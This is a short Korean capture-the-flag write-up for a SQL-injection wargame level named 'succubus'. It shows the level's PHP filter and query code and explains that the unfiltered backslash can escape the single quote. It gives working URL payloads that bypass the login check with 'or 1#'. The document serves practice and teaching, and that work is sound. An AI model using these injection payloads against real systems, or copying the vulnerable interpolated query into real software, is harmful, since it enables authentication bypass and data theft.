Write-Up
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
if($result['id']) solve("succubus");
위의 필터링 조건을 봤을 때, '(single quote) 를 사용할 수 없다. 하지만 현재 백슬래시 문자( \ )가 필터링 되어있지 않다. 이 경우에 \ 를 사용해 '(single quote) 필터링을 우회할 수 있다.
select test1 from test where id='\' and pw=' or 1#
?id=\&pw=%20or%201%23
?id=1\&pw=%20or%201=1%23